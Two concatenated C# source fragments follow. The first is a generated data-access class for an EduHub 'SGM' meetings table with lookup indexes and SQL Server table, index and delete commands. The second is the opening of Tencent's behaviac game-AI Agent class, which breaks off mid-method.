i.TID)); using (var deltaIterator = DeltaEntities.GetEnumerator()) { using (var entityIterator = Entities.GetEnumerator()) { while (deltaIterator.MoveNext()) { var deltaClusteredKey = deltaIterator.Current.SGMKEY; bool yieldEntity = false; while (entityIterator.MoveNext()) { var entity = entityIterator.Current; bool overwritten = false; overwritten = overwritten || Index_SGMKEY_MEETING_DATE_MEETING_TIME.Remove(Tuple.Create(entity.SGMKEY, entity.MEETING_DATE, entity.MEETING_TIME)); overwritten = overwritten || Index_TID.Remove(entity.TID); if (entity.SGMKEY.CompareTo(deltaClusteredKey) <= 0) { if (!overwritten) { yield return entity; } } else { yieldEntity = !overwritten; break; } } yield return deltaIterator.Current; if (yieldEntity) { yield return entityIterator.Current; } } while (entityIterator.MoveNext()) { yield return entityIterator.Current; } } } } #region Index Fields private Lazy<NullDictionary<DateTime?, IReadOnlyList<SGM>>> Index_MEETING_DATE; private Lazy<NullDictionary<string, IReadOnlyList<SGM>>> Index_MEETING_ROOM; private Lazy<Dictionary<string, IReadOnlyList<SGM>>> Index_SGMKEY; private Lazy<Dictionary<Tuple<string, DateTime?, short?>, SGM>> Index_SGMKEY_MEETING_DATE_MEETING_TIME; private Lazy<Dictionary<int, SGM>> Index_TID; #endregion #region Index Methods /// <summary> /// Find SGM by MEETING_DATE field /// </summary> /// <param name="MEETING_DATE">MEETING_DATE value used to find SGM</param> /// <returns>List of related SGM entities</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public IReadOnlyList<SGM> FindByMEETING_DATE(DateTime? MEETING_DATE) { return Index_MEETING_DATE.Value[MEETING_DATE]; } /// <summary> /// Attempt to find SGM by MEETING_DATE field /// </summary> /// <param name="MEETING_DATE">MEETING_DATE value used to find SGM</param> /// <param name="Value">List of related SGM entities</param> /// <returns>True if the list of related SGM entities is found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public bool TryFindByMEETING_DATE(DateTime? MEETING_DATE, out IReadOnlyList<SGM> Value) { return Index_MEETING_DATE.Value.TryGetValue(MEETING_DATE, out Value); } /// <summary> /// Attempt to find SGM by MEETING_DATE field /// </summary> /// <param name="MEETING_DATE">MEETING_DATE value used to find SGM</param> /// <returns>List of related SGM entities, or null if not found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public IReadOnlyList<SGM> TryFindByMEETING_DATE(DateTime? MEETING_DATE) { IReadOnlyList<SGM> value; if (Index_MEETING_DATE.Value.TryGetValue(MEETING_DATE, out value)) { return value; } else { return null; } } /// <summary> /// Find SGM by MEETING_ROOM field /// </summary> /// <param name="MEETING_ROOM">MEETING_ROOM value used to find SGM</param> /// <returns>List of related SGM entities</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public IReadOnlyList<SGM> FindByMEETING_ROOM(string MEETING_ROOM) { return Index_MEETING_ROOM.Value[MEETING_ROOM]; } /// <summary> /// Attempt to find SGM by MEETING_ROOM field /// </summary> /// <param name="MEETING_ROOM">MEETING_ROOM value used to find SGM</param> /// <param name="Value">List of related SGM entities</param> /// <returns>True if the list of related SGM entities is found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public bool TryFindByMEETING_ROOM(string MEETING_ROOM, out IReadOnlyList<SGM> Value) { return Index_MEETING_ROOM.Value.TryGetValue(MEETING_ROOM, out Value); } /// <summary> /// Attempt to find SGM by MEETING_ROOM field /// </summary> /// <param name="MEETING_ROOM">MEETING_ROOM value used to find SGM</param> /// <returns>List of related SGM entities, or null if not found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public IReadOnlyList<SGM> TryFindByMEETING_ROOM(string MEETING_ROOM) { IReadOnlyList<SGM> value; if (Index_MEETING_ROOM.Value.TryGetValue(MEETING_ROOM, out value)) { return value; } else { return null; } } /// <summary> /// Find SGM by SGMKEY field /// </summary> /// <param name="SGMKEY">SGMKEY value used to find SGM</param> /// <returns>List of related SGM entities</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public IReadOnlyList<SGM> FindBySGMKEY(string SGMKEY) { return Index_SGMKEY.Value[SGMKEY]; } /// <summary> /// Attempt to find SGM by SGMKEY field /// </summary> /// <param name="SGMKEY">SGMKEY value used to find SGM</param> /// <param name="Value">List of related SGM entities</param> /// <returns>True if the list of related SGM entities is found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public bool TryFindBySGMKEY(string SGMKEY, out IReadOnlyList<SGM> Value) { return Index_SGMKEY.Value.TryGetValue(SGMKEY, out Value); } /// <summary> /// Attempt to find SGM by SGMKEY field /// </summary> /// <param name="SGMKEY">SGMKEY value used to find SGM</param> /// <returns>List of related SGM entities, or null if not found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public IReadOnlyList<SGM> TryFindBySGMKEY(string SGMKEY) { IReadOnlyList<SGM> value; if (Index_SGMKEY.Value.TryGetValue(SGMKEY, out value)) { return value; } else { return null; } } /// <summary> /// Find SGM by SGMKEY, MEETING_DATE and MEETING_TIME fields /// </summary> /// <param name="SGMKEY">SGMKEY value used to find SGM</param> /// <param name="MEETING_DATE">MEETING_DATE value used to find SGM</param> /// <param name="MEETING_TIME">MEETING_TIME value used to find SGM</param> /// <returns>Related SGM entity</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public SGM FindBySGMKEY_MEETING_DATE_MEETING_TIME(string SGMKEY, DateTime? MEETING_DATE, short? MEETING_TIME) { return Index_SGMKEY_MEETING_DATE_MEETING_TIME.Value[Tuple.Create(SGMKEY, MEETING_DATE, MEETING_TIME)]; } /// <summary> /// Attempt to find SGM by SGMKEY, MEETING_DATE and MEETING_TIME fields /// </summary> /// <param name="SGMKEY">SGMKEY value used to find SGM</param> /// <param name="MEETING_DATE">MEETING_DATE value used to find SGM</param> /// <param name="MEETING_TIME">MEETING_TIME value used to find SGM</param> /// <param name="Value">Related SGM entity</param> /// <returns>True if the related SGM entity is found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public bool TryFindBySGMKEY_MEETING_DATE_MEETING_TIME(string SGMKEY, DateTime? MEETING_DATE, short? MEETING_TIME, out SGM Value) { return Index_SGMKEY_MEETING_DATE_MEETING_TIME.Value.TryGetValue(Tuple.Create(SGMKEY, MEETING_DATE, MEETING_TIME), out Value); } /// <summary> /// Attempt to find SGM by SGMKEY, MEETING_DATE and MEETING_TIME fields /// </summary> /// <param name="SGMKEY">SGMKEY value used to find SGM</param> /// <param name="MEETING_DATE">MEETING_DATE value used to find SGM</param> /// <param name="MEETING_TIME">MEETING_TIME value used to find SGM</param> /// <returns>Related SGM entity, or null if not found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public SGM TryFindBySGMKEY_MEETING_DATE_MEETING_TIME(string SGMKEY, DateTime? MEETING_DATE, short? MEETING_TIME) { SGM value; if (Index_SGMKEY_MEETING_DATE_MEETING_TIME.Value.TryGetValue(Tuple.Create(SGMKEY, MEETING_DATE, MEETING_TIME), out value)) { return value; } else { return null; } } /// <summary> /// Find SGM by TID field /// </summary> /// <param name="TID">TID value used to find SGM</param> /// <returns>Related SGM entity</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public SGM FindByTID(int TID) { return Index_TID.Value[TID]; } /// <summary> /// Attempt to find SGM by TID field /// </summary> /// <param name="TID">TID value used to find SGM</param> /// <param name="Value">Related SGM entity</param> /// <returns>True if the related SGM entity is found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public bool TryFindByTID(int TID, out SGM Value) { return Index_TID.Value.TryGetValue(TID, out Value); } /// <summary> /// Attempt to find SGM by TID field /// </summary> /// <param name="TID">TID value used to find SGM</param> /// <returns>Related SGM entity, or null if not found</returns> /// <exception cref="ArgumentOutOfRangeException">No match was found</exception> public SGM TryFindByTID(int TID) { SGM value; if (Index_TID.Value.TryGetValue(TID, out value)) { return value; } else { return null; } } #endregion #region SQL Integration /// <summary> /// Returns a <see cref="SqlCommand"/> which checks for the existence of a SGM table, and if not found, creates the table and associated indexes. /// </summary> /// <param name="SqlConnection">The <see cref="SqlConnection"/> to be associated with the <see cref="SqlCommand"/></param> public override SqlCommand GetSqlCreateTableCommand(SqlConnection SqlConnection) { return new SqlCommand( connection: SqlConnection, cmdText: @"IF NOT EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND OBJECTPROPERTY(id, N'IsUserTable') = 1) BEGIN CREATE TABLE [dbo].[SGM]( [TID] int IDENTITY NOT NULL, [SGMKEY] varchar(12) NOT NULL, [MEETING_DATE] datetime NULL, [MEETING_TIME] smallint NULL, [PURPOSE_BRIEF] varchar(20) NULL, [PURPOSE_DETAIL] varchar(MAX) NULL, [MEETING_ROOM] varchar(4) NULL, [MINUTES_MEMO] varchar(MAX) NULL, [LW_TIME] smallint NULL, [LW_DATE] datetime NULL, [LW_USER] varchar(128) NULL, CONSTRAINT [SGM_Index_TID] PRIMARY KEY NONCLUSTERED ( [TID] ASC ) ); CREATE NONCLUSTERED INDEX [SGM_Index_MEETING_DATE] ON [dbo].[SGM] ( [MEETING_DATE] ASC ); CREATE NONCLUSTERED INDEX [SGM_Index_MEETING_ROOM] ON [dbo].[SGM] ( [MEETING_ROOM] ASC ); CREATE CLUSTERED INDEX [SGM_Index_SGMKEY] ON [dbo].[SGM] ( [SGMKEY] ASC ); CREATE NONCLUSTERED INDEX [SGM_Index_SGMKEY_MEETING_DATE_MEETING_TIME] ON [dbo].[SGM] ( [SGMKEY] ASC, [MEETING_DATE] ASC, [MEETING_TIME] ASC ); END"); } /// <summary> /// Returns a <see cref="SqlCommand"/> which disables all non-clustered table indexes. /// Typically called before <see cref="SqlBulkCopy"/> to improve performance. /// <see cref="GetSqlRebuildIndexesCommand(SqlConnection)"/> should be called to rebuild and enable indexes after performance sensitive work is completed. /// </summary> /// <param name="SqlConnection">The <see cref="SqlConnection"/> to be associated with the <see cref="SqlCommand"/></param> /// <returns>A <see cref="SqlCommand"/> which (when executed) will disable all non-clustered table indexes</returns> public override SqlCommand GetSqlDisableIndexesCommand(SqlConnection SqlConnection) { return new SqlCommand( connection: SqlConnection, cmdText: @"IF EXISTS (SELECT * FROM dbo.sysindexes WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND name = N'SGM_Index_MEETING_DATE') ALTER INDEX [SGM_Index_MEETING_DATE] ON [dbo].[SGM] DISABLE; IF EXISTS (SELECT * FROM dbo.sysindexes WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND name = N'SGM_Index_MEETING_ROOM') ALTER INDEX [SGM_Index_MEETING_ROOM] ON [dbo].[SGM] DISABLE; IF EXISTS (SELECT * FROM dbo.sysindexes WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND name = N'SGM_Index_SGMKEY_MEETING_DATE_MEETING_TIME') ALTER INDEX [SGM_Index_SGMKEY_MEETING_DATE_MEETING_TIME] ON [dbo].[SGM] DISABLE; IF EXISTS (SELECT * FROM dbo.sysindexes WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND name = N'SGM_Index_TID') ALTER INDEX [SGM_Index_TID] ON [dbo].[SGM] DISABLE; "); } /// <summary> /// Returns a <see cref="SqlCommand"/> which rebuilds and enables all non-clustered table indexes. /// </summary> /// <param name="SqlConnection">The <see cref="SqlConnection"/> to be associated with the <see cref="SqlCommand"/></param> /// <returns>A <see cref="SqlCommand"/> which (when executed) will rebuild and enable all non-clustered table indexes</returns> public override SqlCommand GetSqlRebuildIndexesCommand(SqlConnection SqlConnection) { return new SqlCommand( connection: SqlConnection, cmdText: @"IF EXISTS (SELECT * FROM dbo.sysindexes WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND name = N'SGM_Index_MEETING_DATE') ALTER INDEX [SGM_Index_MEETING_DATE] ON [dbo].[SGM] REBUILD PARTITION = ALL; IF EXISTS (SELECT * FROM dbo.sysindexes WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND name = N'SGM_Index_MEETING_ROOM') ALTER INDEX [SGM_Index_MEETING_ROOM] ON [dbo].[SGM] REBUILD PARTITION = ALL; IF EXISTS (SELECT * FROM dbo.sysindexes WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND name = N'SGM_Index_SGMKEY_MEETING_DATE_MEETING_TIME') ALTER INDEX [SGM_Index_SGMKEY_MEETING_DATE_MEETING_TIME] ON [dbo].[SGM] REBUILD PARTITION = ALL; IF EXISTS (SELECT * FROM dbo.sysindexes WHERE id = OBJECT_ID(N'[dbo].[SGM]') AND name = N'SGM_Index_TID') ALTER INDEX [SGM_Index_TID] ON [dbo].[SGM] REBUILD PARTITION = ALL; "); } /// <summary> /// Returns a <see cref="SqlCommand"/> which deletes the <see cref="SGM"/> entities passed /// </summary> /// <param name="SqlConnection">The <see cref="SqlConnection"/> to be associated with the <see cref="SqlCommand"/></param> /// <param name="Entities">The <see cref="SGM"/> entities to be deleted</param> public override SqlCommand GetSqlDeleteCommand(SqlConnection SqlConnection, IEnumerable<SGM> Entities) { SqlCommand command = new SqlCommand(); int parameterIndex = 0; StringBuilder builder = new StringBuilder(); List<Tuple<string, DateTime?, short?>> Index_SGMKEY_MEETING_DATE_MEETING_TIME = new List<Tuple<string, DateTime?, short?>>(); List<int> Index_TID = new List<int>(); foreach (var entity in Entities) { Index_SGMKEY_MEETING_DATE_MEETING_TIME.Add(Tuple.Create(entity.SGMKEY, entity.MEETING_DATE, entity.MEETING_TIME)); Index_TID.Add(entity.TID); } builder.AppendLine("DELETE [dbo].[SGM] WHERE"); // Index_SGMKEY_MEETING_DATE_MEETING_TIME builder.Append("("); for (int index = 0; index < Index_SGMKEY_MEETING_DATE_MEETING_TIME.Count; index++) { if (index != 0) builder.Append(" OR "); // SGMKEY var parameterSGMKEY = $"@p{parameterIndex++}"; builder.Append("([SGMKEY]=").Append(parameterSGMKEY); command.Parameters.Add(parameterSGMKEY, SqlDbType.VarChar, 12).Value = Index_SGMKEY_MEETING_DATE_MEETING_TIME[index].Item1; // MEETING_DATE if (Index_SGMKEY_MEETING_DATE_MEETING_TIME[index].Item2 == null) { builder.Append(" AND [MEETING_DATE] IS NULL"); } else { var parameterMEETING_DATE = $"@p{parameterIndex++}"; builder.Append(" AND [MEETING_DATE]=").Append(parameterMEETING_DATE); command.Parameters.Add(parameterMEETING_DATE, SqlDbType.DateTime).Value = Index_SGMKEY_MEETING_DATE_MEETING_TIME[index].Item2; } // MEETING_TIME if (Index_SGMKEY_MEETING_DATE_MEETING_TIME[index].Item3 == null) { builder.Append(" AND [MEETING_TIME] IS NULL)"); } else { var parameterMEETING_TIME = $"@p{parameterIndex++}"; builder.Append(" AND [MEETING_TIME]=").Append(parameterMEETING_TIME).Append(")"); command.Parameters.Add(parameterMEETING_TIME, SqlDbType.SmallInt).Value = Index_SGMKEY_MEETING_DATE_MEETING_TIME[index].Item3; } } builder.AppendLine(") OR"); // Index_TID builder.Append("[TID] IN ("); for (int index = 0; index < Index_TID.Count; index++) { if (index != 0) builder.Append(", "); // TID var parameterTID = $"@p{parameterIndex++}"; builder.Append(parameterTID); command.Parameters.Add(parameterTID, SqlDbType.Int).Value = Index_TID[index]; } builder.Append(");"); command.Connection = SqlConnection; command.CommandText = builder.ToString(); return command; } /// <summary> /// Provides a <see cref="IDataReader"/> for the SGM data set /// </summary> /// <returns>A <see cref="IDataReader"/> for the SGM data set</returns> public override EduHubDataSetDataReader<SGM> GetDataSetDataReader() { return new SGMDataReader(Load()); } /// <summary> /// Provides a <see cref="IDataReader"/> for the SGM data set /// </summary> /// <returns>A <see cref="IDataReader"/> for the SGM data set</returns> public override EduHubDataSetDataReader<SGM> GetDataSetDataReader(List<SGM> Entities) { return new SGMDataReader(new EduHubDataSetLoadedReader<SGM>(this, Entities)); } // Modest implementation to primarily support SqlBulkCopy private class SGMDataReader : EduHubDataSetDataReader<SGM> { public SGMDataReader(IEduHubDataSetReader<SGM> Reader) : base (Reader) { } public override int FieldCount { get { return 11; } } public override object GetValue(int i) { switch (i) { case 0: // TID return Current.TID; case 1: // SGMKEY return Current.SGMKEY; case 2: // MEETING_DATE return Current.MEETING_DATE; case 3: // MEETING_TIME return Current.MEETING_TIME; case 4: // PURPOSE_BRIEF return Current.PURPOSE_BRIEF; case 5: // PURPOSE_DETAIL return Current.PURPOSE_DETAIL; case 6: // MEETING_ROOM return Current.MEETING_ROOM; case 7: // MINUTES_MEMO return Current.MINUTES_MEMO; case 8: // LW_TIME return Current.LW_TIME; case 9: // LW_DATE return Current.LW_DATE; case 10: // LW_USER return Current.LW_USER; default: throw new ArgumentOutOfRangeException(nameof(i)); } } public override bool IsDBNull(int i) { switch (i) { case 2: // MEETING_DATE return Current.MEETING_DATE == null; case 3: // MEETING_TIME return Current.MEETING_TIME == null; case 4: // PURPOSE_BRIEF return Current.PURPOSE_BRIEF == null; case 5: // PURPOSE_DETAIL return Current.PURPOSE_DETAIL == null; case 6: // MEETING_ROOM return Current.MEETING_ROOM == null; case 7: // MINUTES_MEMO return Current.MINUTES_MEMO == null; case 8: // LW_TIME return Current.LW_TIME == null; case 9: // LW_DATE return Current.LW_DATE == null; case 10: // LW_USER return Current.LW_USER == null; default: return false; } } public override string GetName(int ordinal) { switch (ordinal) { case 0: // TID return "TID"; case 1: // SGMKEY return "SGMKEY"; case 2: // MEETING_DATE return "MEETING_DATE"; case 3: // MEETING_TIME return "MEETING_TIME"; case 4: // PURPOSE_BRIEF return "PURPOSE_BRIEF"; case 5: // PURPOSE_DETAIL return "PURPOSE_DETAIL"; case 6: // MEETING_ROOM return "MEETING_ROOM"; case 7: // MINUTES_MEMO return "MINUTES_MEMO"; case 8: // LW_TIME return "LW_TIME"; case 9: // LW_DATE return "LW_DATE"; case 10: // LW_USER return "LW_USER"; default: throw new ArgumentOutOfRangeException(nameof(ordinal)); } } public override int GetOrdinal(string name) { switch (name) { case "TID": return 0; case "SGMKEY": return 1; case "MEETING_DATE": return 2; case "MEETING_TIME": return 3; case "PURPOSE_BRIEF": return 4; case "PURPOSE_DETAIL": return 5; case "MEETING_ROOM": return 6; case "MINUTES_MEMO": return 7; case "LW_TIME": return 8; case "LW_DATE": return 9; case "LW_USER": return 10; default: throw new ArgumentOutOfRangeException(nameof(name)); } } } #endregion } }
///////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Tencent is pleased to support the open source community by making behaviac available. // // Copyright (C) 2015-2017 THL A29 Limited, a Tencent company. All rights reserved. // // Licensed under the BSD 3-Clause License (the "License"); you may not use this file except in // compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/BSD-3-Clause // // Unless required by applicable law or agreed to in writing, software distributed under the License // is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express // or implied. See the License for the specific language governing permissions and limitations under // the License. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////// #if BEHAVIAC_CS_ONLY || BEHAVIAC_NOT_USE_UNITY #define BEHAVIAC_NOT_USE_MONOBEHAVIOUR #endif using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Globalization; using System.IO; namespace behaviac { [behaviac.TypeMetaInfo()] #if BEHAVIAC_NOT_USE_MONOBEHAVIOUR public class Agent #else public class Agent : UnityEngine.MonoBehaviour #endif { #region State public class State_t { protected Variables m_vars = new Variables(); public Variables Vars { get { return this.m_vars; } } protected BehaviorTreeTask m_bt; public BehaviorTreeTask BT { get { return m_bt; } set { m_bt = value; } } public State_t(State_t c) { c.m_vars.CopyTo(null, this.m_vars); if (c.m_bt != null) { BehaviorNode pNode = c.m_bt.GetNode(); if (pNode != null) { this.m_bt = (BehaviorTreeTask)pNode.CreateAndInitTask(); c.m_bt.CopyTo(this.m_bt); } } } //~State_t() //{ // this.Clear(true); //} public bool SaveToFile(string fileName) { //XmlNodeRef xmlInfo = CreateXmlNode("AgentState"); //CTextNode node(xmlInfo); //this.m_vars.Save(node); //if (this.m_bt) //{ // this.m_bt.Save(node); //} //CFileSystem::MakeSureDirectoryExist(fileName); //return xmlInfo.saveToFile(fileName); return false; } public bool LoadFromFile(string fileName) { //XmlNodeRef xmlInfo = CreateXmlNode("AgentState"); //CTextNode node(xmlInfo); //if (node.LoadFromFile(fileName)) //{ // this.m_vars.Load(&node); // return true; //} return false; } } #endregion State #if BEHAVIAC_NOT_USE_MONOBEHAVIOUR protected Agent() { Init(); } ~Agent() { OnDestroy(); } #endif protected void Init() { Awake(); } void Awake() { Init_(this.m_contextId, this, this.m_priority); #if !BEHAVIAC_RELEASE //this.SetName(this.name); this._members.Clear(); #endif } #if BEHAVIAC_NOT_USE_MONOBEHAVIOUR private string name; #endif void OnDestroy() { #if !BEHAVIAC_RELEASE string agentClassName = this.GetClassTypeName(); string agentInstanceName = this.GetName(); string aName = string.Format("{0}#{1}", agentClassName, agentInstanceName); ms_agents.Remove(aName); #endif Context.RemoveAgent(this); if (this.m_behaviorTreeTasks != null) { for (int i = 0; i < this.m_behaviorTreeTasks.Count; ++i) { BehaviorTreeTask bt = this.m_behaviorTreeTasks[i]; Workspace.Instance.DestroyBehaviorTreeTask(bt, this); } this.m_behaviorTreeTasks.Clear(); this.m_behaviorTreeTasks = null; } } #if !BEHAVIAC_RELEASE private static Dictionary<string, Agent> ms_agents = new Dictionary<string, Agent>(); public static Agent GetAgent(string agentName) { Agent pAgent = Agent.GetInstance(agentName); if (!System.Object.ReferenceEquals(pAgent, null)) { return pAgent; } if (ms_agents.ContainsKey(agentName)) { Agent pA = ms_agents[agentName]; return pA; } return null; } #endif//BEHAVIAC_RELEASE private List<BehaviorTreeTask> m_behaviorTreeTasks; private List<BehaviorTreeTask> BehaviorTreeTasks { get { if (m_behaviorTreeTasks == null) { m_behaviorTreeTasks = new List<BehaviorTreeTask>(); } return m_behaviorTreeTasks; } } private class BehaviorTreeStackItem_t { public BehaviorTreeTask bt; public TriggerMode triggerMode; public bool triggerByEvent; public BehaviorTreeStackItem_t(BehaviorTreeTask bt_, TriggerMode tm, bool bByEvent) { bt = bt_; triggerMode = tm; triggerByEvent = bByEvent; } } private List<BehaviorTreeStackItem_t> m_btStack; private List<BehaviorTreeStackItem_t> BTStack { get { if (m_btStack == null) { m_btStack = new List<BehaviorTreeStackItem_t>(); } return m_btStack; } } private BehaviorTreeTask m_currentBT; public BehaviorTreeTask CurrentBT { get { return m_currentBT; } private set { m_currentBT = value; m_excutingTreeTask = m_currentBT; } } private BehaviorTreeTask m_excutingTreeTask; public BehaviorTreeTask ExcutingTreeTask { get { return m_excutingTreeTask; } set { m_excutingTreeTask = value; } } private int m_id = -1; private bool m_bActive = true; private bool m_referencetree = false; public int m_priority; public int m_contextId; public int GetId() { return this.m_id; } public int GetPriority() { return (int)this.m_priority; } public string GetClassTypeName() { return this.GetType().FullName; } private static uint ms_idMask = 0xffffffff; private uint m_idFlag = 0xffffffff; /** Each agent can be assigned to an id flag by 'SetIdFlag'. A global mask can be specified by SetIdMask. the id flag will be checked with this global mask. @sa SetIdFlag SetIdMask */ public bool IsMasked() { return (this.m_idFlag & Agent.IdMask()) != 0; } /** @sa SetIdMask IsMasked */ public void SetIdFlag(uint idMask) { this.m_idFlag = idMask; } public static bool IsDerived(Agent pAgent, string agentType) { bool bIsDerived = false; Type type = pAgent.GetType(); while (type != null) { if (type.FullName == agentType) { bIsDerived = true; break; } type = type.BaseType; } return bIsDerived; } /** @sa SetIdFlag IsMasked */ public static void SetIdMask(uint idMask) { ms_idMask = idMask; } public static uint IdMask() { return ms_idMask; } #if !BEHAVIAC_RELEASE private string m_debug_name; #endif public string GetName() { #if !BEHAVIAC_RELEASE if (!string.IsNullOrEmpty(this.m_debug_name)) { return this.m_debug_name; } return this.name; #else return this.name; #endif } private static int ms_agent_index; private static Dictionary<string, int> ms_agent_type_index; public void SetName(string instanceName) { if (string.IsNullOrEmpty(instanceName)) { int typeId = 0; string typeFullName = this.GetType().FullName; string typeName = null; int pIt = typeFullName.LastIndexOf(':'); if (pIt != -1) { typeName = typeFullName.Substring(pIt + 1); } else { typeName = typeFullName; } if (ms_agent_type_index == null) { ms_agent_type_index = new Dictionary<string, int>(); } if (!ms_agent_type_index.ContainsKey(typeFullName)) { typeId = 0; ms_agent_type_index[typeFullName] = 1; } else { typeId = ms_agent_type_index[typeFullName]++; } this.name += string.Format("{0}_{1}_{2}", typeName, typeId, this.m_id); } else { this.name = instanceName; } #if !BEHAVIAC_RELEASE this.m_debug_name = this.name.Replace(" ", "_"); #endif } public int GetContextId() { return this.m_contextId; } /** return if the agent is active or not. an active agent is ticked automatiacally by the world it is added. if it is inactive, it is not ticked automatiacally by the world it is added. @sa SetActive */ public bool IsActive() { return this.m_bActive; } /** set the agent active or inactive */ public void SetActive(bool bActive) { this.m_bActive = bActive; } #if BEHAVIAC_USE_HTN private int m_planningTop = -1; internal int PlanningTop { get { return this.m_planningTop; } set { this.m_planningTop = value; } } #endif// internal struct AgentName_t { public string instantceName_; public string className_; public string displayName_; public string desc_; public AgentName_t(string instanceName, string className, string displayName, string desc) { instantceName_ = instanceName; className_ = className; if (!string.IsNullOrEmpty(displayName)) { displayName_ = displayName; } else { displayName_ = instantceName_.Replace(".", "::"); } if (!string.IsNullOrEmpty(desc)) { desc_ = desc; } else { desc_ = displayName_; } } public string ClassName { get { return this.className_; } } } private static Dictionary<string, AgentName_t> ms_names; internal static Dictionary<string, AgentName_t> Names { get { if (ms_names == null) { ms_names = new Dictionary<string, AgentName_t>(); } return ms_names; } } /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// /** A name can be bound to an instance. before a name is bound to an instance, that name has to be registered by 'RegisterInstanceName' @param agentInstanceName the specified name to be used to access an instance of type 'TAGENT' or its derivative. if 'agentInstanceName' is 0, the class name of 'TAGENT' will be used to be registered. @sa CreateInstance */ public static bool RegisterInstanceName<TAGENT>(string agentInstanceName, string displayName, string desc) where TAGENT : Agent { Debug.Check(string.IsNullOrEmpty(agentInstanceName) || !agentInstanceName.Contains(" ")); string agentInstanceNameAny = agentInstanceName; if (string.IsNullOrEmpty(agentInstanceNameAny)) { agentInstanceNameAny = typeof(TAGENT).FullName; } if (!Agent.Names.ContainsKey(agentInstanceNameAny)) { string className = typeof(TAGENT).FullName; Agent.Names[agentInstanceNameAny] = new AgentName_t(agentInstanceNameAny, className, displayName, desc); return true; } return false; } public static bool RegisterInstanceName<TAGENT>(string agentInstanceName) where TAGENT : Agent { return Agent.RegisterInstanceName<TAGENT>(agentInstanceName, null, null); } public static bool RegisterInstanceName<TAGENT>() where TAGENT : Agent { return Agent.RegisterInstanceName<TAGENT>(null, null, null); } public static bool RegisterStaticClass(Type type, string displayName, string desc) { Debug.Check(Utils.IsStaticType(type)); string agentInstanceNameAny = type.FullName; if (!Agent.Names.ContainsKey(agentInstanceNameAny)) { Agent.Names[agentInstanceNameAny] = new AgentName_t(agentInstanceNameAny, agentInstanceNameAny, displayName, desc); Utils.AddStaticClass(type); return true; } return false; } public static void UnRegisterInstanceName<TAGENT>(string agentInstanceName) where TAGENT : Agent { string agentInstanceNameAny = agentInstanceName; if (string.IsNullOrEmpty(agentInstanceNameAny)) { agentInstanceNameAny = typeof(TAGENT).FullName; } if (Agent.Names.ContainsKey(agentInstanceNameAny)) { Agent.Names.Remove(agentInstanceNameAny); } } public static void UnRegisterInstanceName<TAGENT>() where TAGENT : Agent { Agent.UnRegisterInstanceName<TAGENT>(null); } /** return if 'agentInstanceName' is registerd. @sa RegisterInstanceName */ public static bool IsNameRegistered(string agentInstanceName) { return Names.ContainsKey(agentInstanceName); } /** return the registered class name @sa RegisterInstanceName */ public static string GetRegisteredClassName(string agentInstanceName) { if (Names.ContainsKey(agentInstanceName)) { return Names[agentInstanceName].ClassName; } return null; } /** bind 'agentInstanceName' to 'pAgentInstance'. 'agentInstanceName' should have been registered to the class of 'pAgentInstance' or its parent class. if 'agentInstanceName' is not specified, the class type name of 'pAgentInstance' will be used. @sa RegisterInstanceName */ public static bool BindInstance(Agent pAgentInstance, string agentInstanceName, int contextId) { Context c = Context.GetContext(contextId); if (c != null) { return c.BindInstance(pAgentInstance, agentInstanceName); } return false; } public static bool BindInstance(Agent pAgentInstance, string agentInstanceName) { return Agent.BindInstance(pAgentInstance, agentInstanceName, 0); } /** bind 'pAgentInstance' to the class type name of 'pAgentInstance'. RegisterInstanceName<TAGENT>() should have been called to regiser 'the class type name'. @sa RegisterInstanceName */ public static bool BindInstance(Agent pAgentInstance) { return Agent.BindInstance(pAgentInstance, null, 0); } /** unbind 'agentInstanceName' from 'pAgentInstance'. 'agentInstanceName' should have been bound to 'pAgentInstance'. @sa RegisterInstanceName, BindInstance, CreateInstance */ public static bool UnbindInstance(string agentInstanceName, int contextId) { Context c = Context.GetContext(contextId); if (c != null) { return c.UnbindInstance(agentInstanceName); } return false; } public static bool UnbindInstance(string agentInstanceName) { return Agent.UnbindInstance(agentInstanceName, 0); } public static bool UnbindInstance<T>() { string agentInstanceName = typeof(T).FullName; return Agent.UnbindInstance(agentInstanceName); } public static Agent GetInstance(string agentInstanceName, int contextId) { Context c = Context.GetContext(contextId); if (c != null) { return c.GetInstance(agentInstanceName); } return null; } public static Agent GetInstance(string agentInstanceName) { return Agent.GetInstance(agentInstanceName, 0); } public static TAGENT GetInstance<TAGENT>(string agentInstanceName, int contextId) where TAGENT : Agent, new() { string agentInstanceNameAny = agentInstanceName; if (string.IsNullOrEmpty(agentInstanceNameAny)) { agentInstanceNameAny = typeof(TAGENT).FullName; } Agent a = Agent.GetInstance(agentInstanceNameAny, contextId); Debug.Check(System.Object.ReferenceEquals(a, null) || a is TAGENT); TAGENT pA = (TAGENT)a; return pA; } public static TAGENT GetInstance<TAGENT>(string agentInstanceName) where TAGENT : Agent, new() { return 